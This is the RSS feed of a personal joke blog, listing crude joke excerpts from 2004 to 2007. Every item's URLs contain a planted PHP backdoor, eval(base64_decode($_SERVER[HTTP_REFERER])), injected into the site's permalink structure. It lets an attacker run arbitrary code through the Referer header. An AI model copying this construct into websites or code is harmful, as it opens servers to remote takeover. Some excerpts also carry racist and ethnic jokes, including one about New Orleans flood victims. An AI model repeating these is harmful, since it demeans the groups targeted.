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	<title>the newts.net &#187; Jokes</title>
	<atom:link href="http://www.thenewts.net/tag/jokes/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thenewts.net</link>
	<description>Scott Newton ~ Net Editor.</description>
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			<item>
		<title>Qantas pilots vs Qantas mechanics.</title>
		<link>http://www.thenewts.net/2007/01/10/quantas-pilots-vs-quantas-mechanics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2007/01/10/quantas-pilots-vs-quantas-mechanics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Jan 2007 23:03:01 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>
		<category><![CDATA[mechanics]]></category>
		<category><![CDATA[pilots]]></category>
		<category><![CDATA[quantas]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2007/01/10/quantas-pilots-vs-quantas-mechanics/</guid>
		<description><![CDATA[
I read these and absolutely laughed my tits off.  So bad I had tears running down my face.  I don&#8217;t know, you might not find them funny, but I pissed myself laughing&#8230;
After every flight, Qantas pilots fill out a form, called a &#8220;gripe sheet,&#8221; which tells mechanics about problems with the aircraft. The [...]]]></description>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A few Friday Funnies.</title>
		<link>http://www.thenewts.net/2006/03/03/a-couple-of-friday-funnies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/03/03/a-couple-of-friday-funnies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Mar 2006 16:27:15 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/03/03/a-couple-of-friday-funnies/</guid>
		<description><![CDATA[The husband emerged from the bathroom naked and was climbing into bed when his wife complained, as usual, &#8220;I have a headache&#8221;.
&#8220;Perfect!&#8221; her husband replies, I was just in the bathroom powdering my cock with aspirin.  You can take it orally or as a suppository, it&#8217;s up to you!
***
A funeral service is being held [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tongue Twisters.</title>
		<link>http://www.thenewts.net/2006/02/05/tongue-twisters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/02/05/tongue-twisters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Feb 2006 01:11:21 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/02/05/tongue-twisters/</guid>
		<description><![CDATA[A guy with a black eye boards his plane bound for Pittsburgh and sits down in his seat. He notices immediately that the guy next to him has a black eye, too. He says to him, &#8220;Hey, this is a coincidence. We both have black eyes; mind if I ask how you got yours?&#8221; The [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What have. . .</title>
		<link>http://www.thenewts.net/2006/01/31/what-have/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/01/31/what-have/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Jan 2006 01:39:04 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/01/31/what-have/</guid>
		<description><![CDATA[The films Titanic and The 6th Sense got in common?

ICY DEAD PEOPLE!
]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fancy Dress.</title>
		<link>http://www.thenewts.net/2005/12/21/fancy-dress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/12/21/fancy-dress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 21 Dec 2005 15:57:28 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/12/21/fancy-dress/</guid>
		<description><![CDATA[What with the spirit of the Christmas parties etc, I thought you might like this one.  It raised a titter with me:
A man with a bald head and a wooden leg is invited to a fancy dress party.  He doesn&#8217;t know what to wear to hide his head and his wooden leg so [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I failed the test!</title>
		<link>http://www.thenewts.net/2005/12/02/i-failed-the-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/12/02/i-failed-the-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 02 Dec 2005 13:18:37 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/12/02/i-failed-the-test/</guid>
		<description><![CDATA[During a visit to the mental asylum, a visitor asked the director, &#8220;What is the criteria that defines a patient to be institutionalised?&#8221;
&#8220;Well&#8230;&#8221; said the director, &#8220;we fill up a bath, and we offer a teaspoon, a teacup, and a bucket to the patient and ask him to empty the bath.&#8221;
&#8220;Oh, I understand,&#8221; said the [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The sin of Vanity.</title>
		<link>http://www.thenewts.net/2005/10/18/398/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/10/18/398/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 18 Oct 2005 22:53:49 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/10/18/398/</guid>
		<description><![CDATA[The girl knelt in the confessional and said, &#8220;Bless me, Father, for I have sinned.&#8221; &#8220;What is it, child?&#8221; &#8220;Father, I have committed the sin of vanity. Twice a day I gaze at myself in the mirror and tell myself how beautiful I am.&#8221; The priest turned, took a good look at the girl, and [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2005/10/18/398/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Orleans.</title>
		<link>http://www.thenewts.net/2005/09/23/new-orleans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/09/23/new-orleans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Sep 2005 15:58:31 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/09/24/new-orleans/</guid>
		<description><![CDATA[It doesn&#8217;t take long does it.  Days after a a huge disaster the jokes start flooding in!
The Mayor of New Orleans has denied rumours that the annual carnival is to be cancelled.
They expect to have a record number of floats this year.
They build a city below sea level and fill it with blacks.
Who said [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2005/09/23/new-orleans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Indian Weather.</title>
		<link>http://www.thenewts.net/2005/08/30/indian-weather/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/08/30/indian-weather/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Aug 2005 22:29:21 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/08/30/indian-weather/</guid>
		<description><![CDATA[It was October and the Indians on a remote reservation asked their new Chief if the coming winter was going to be cold or mild. Since he was a young Chief in a modern society he had never been taught the old secrets. When he looked at the sky he couldn&#8217;t tell what the winter [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Indian Wedding.</title>
		<link>http://www.thenewts.net/2005/06/02/an-indian-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/06/02/an-indian-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Jun 2005 00:01:42 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/06/02/an-indian-wedding/</guid>
		<description><![CDATA[All this talk of Wez&#8217;s Asian Frog has just reminded me of a Joke Bov&#8217;s old man told us at the golf club yesterday.  It was all the more amusing due to the fact that sat to his left was his playing partner Dr. Ramana Singh.  (Or Rama-lama-ding-dong as Trev calls him)
What&#8217;s the [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2005/06/02/an-indian-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Dentist.</title>
		<link>http://www.thenewts.net/2005/04/27/the-dentist/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/04/27/the-dentist/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 27 Apr 2005 12:16:13 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Golf]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2005/04/28/the-dentist/</guid>
		<description><![CDATA[A man and  his wife walked into a dentist&#8217;s office. The man said to the
dentist, &#8220;Doctor,  I&#8217;m in a big hurry! I have two buddies sitting out in my
car waiting for us to  go play golf. So forget about the anesthetic and
just pull the tooth and be done  with it&#8211; I [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More from the Essex Girls.</title>
		<link>http://www.thenewts.net/2005/01/21/more-from-the-essex-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/01/21/more-from-the-essex-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 21 Jan 2005 01:26:59 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=282</guid>
		<description><![CDATA[A train hits a busload of Essex Schoolgirls and they all perish.
They are all in heaven trying to enter the pearly gates past St.Peter.
St Peter asks the first girl (from Southend), &#8220;Karen, have you ever had any contact with a mans thing?&#8221;
She giggles and shyly replies, &#8220;Well I once touched the head of one with [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Essesx Girls.</title>
		<link>http://www.thenewts.net/2004/11/26/essesx-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/11/26/essesx-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 26 Nov 2004 14:01:16 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=253</guid>
		<description><![CDATA[An Essex girl goes to the council to register for child benefit.
&#8220;How many children?&#8221; asks the council worker
&#8220;10&#8243; replies the Essex girl
&#8220;10???&#8221; says the council worker.. &#8220;What are their names?&#8221;
&#8220;Wayne, Wayne, Wayne, Wayne, Wayne, Wayne, Wayne, Wayne, Wayne
and Wayne&#8221;
&#8220;Doesn&#8217;t that get confusing?&#8221;
&#8220;Naah&#8230;&#8221; says the Essex girl &#8220;its great because if they are out
playing in the [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2004/11/26/essesx-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where&#8217;ve I seen her before?</title>
		<link>http://www.thenewts.net/2004/11/15/whereve-i-seen-her-before/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/11/15/whereve-i-seen-her-before/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Nov 2004 23:51:07 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=247</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://www.thenewts.net/2004/11/15/whereve-i-seen-her-before/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fart Football.</title>
		<link>http://www.thenewts.net/2004/11/11/fart-football/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/11/11/fart-football/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Nov 2004 11:18:31 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=245</guid>
		<description><![CDATA[An old married couple no sooner hit the pillows when the old man passes wind and says, &#8220;One Nil!&#8221;
His wife rolls over and says, &#8220;What in the world was that?&#8221;
The old man replied, &#8220;It&#8217;s fart football.&#8221;
A few minutes later his wife lets one go and says &#8220;Equaliser, One All!&#8221;
After about five minutes the old man [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2004/11/11/fart-football/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>1st day at the Zoo.</title>
		<link>http://www.thenewts.net/2004/11/06/1st-day-at-the-zoo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/11/06/1st-day-at-the-zoo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 06 Nov 2004 23:28:05 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=243</guid>
		<description><![CDATA[It&#8217;s Dave&#8217;s first day working at the zoo.  All was going well until he was sent to the  aqaurium to clean out a fish tank.  With his hands in the water, a big fish comes speeding over and bites down on his fingers.  He grabbed his walkie talkie out of his [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Politics in Layman&#8217;s terms.</title>
		<link>http://www.thenewts.net/2004/10/25/politics-in-lay-mans-terms/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/10/25/politics-in-lay-mans-terms/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 25 Oct 2004 03:11:49 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=238</guid>
		<description><![CDATA[A little boy goes to his dad and asks, &#8220;What is Politics?&#8221;
Dad says, &#8220;Well son, let me try to explain it this way: I am the head of the family, so call me The President.
Your mother is the administrator of the money, so we call her The Government.
We are here to take care of your [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Legs Akimbo.</title>
		<link>http://www.thenewts.net/2004/10/18/legs-akimbo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/10/18/legs-akimbo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Oct 2004 12:24:48 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=225</guid>
		<description><![CDATA[Thanks to the newly, and very APTLY named Kim Winn for the following trio of funnies.  They&#8217;re obviously rushed off their feet at Millennium Chemicals this morning ;0)   
Two girls walking down the street in Spain on holiday. The sun is burning
and they are very hot.
1st girl: &#8220;do you think we should [...]]]></description>
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		<title>The Snake and the Bunny.</title>
		<link>http://www.thenewts.net/2004/10/18/the-snake-and-the-bunny/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/10/18/the-snake-and-the-bunny/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Oct 2004 12:21:36 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=224</guid>
		<description><![CDATA[Once upon a time, in a nice little forest, there lived an orphaned bunny
and an orphaned snake. By a surprising coincidence, both were blind from
birth. One day, the bunny was hopping through the forest, and the snake was
slithering through the forest, when the bunny tripped over the snake and
fell down. This, of course, knocked the [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Mind the Ducks!</title>
		<link>http://www.thenewts.net/2004/10/18/mind-the-ducks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/10/18/mind-the-ducks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Oct 2004 12:13:52 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=223</guid>
		<description><![CDATA[Three women die together in an accident
and go to heaven.
When they get there, St. Peter says, â€œWe only have one rule here in heaven:
donâ€™t step on the ducks!â€
So they enter heaven, and sure enough, there are ducks all over the place.  It is almost impossible not to step on a duck, and although they [...]]]></description>
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